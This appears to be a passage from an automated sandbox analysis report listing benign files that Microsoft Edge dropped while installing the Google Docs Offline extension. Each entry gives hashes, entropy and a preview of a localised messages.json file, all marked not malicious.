Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
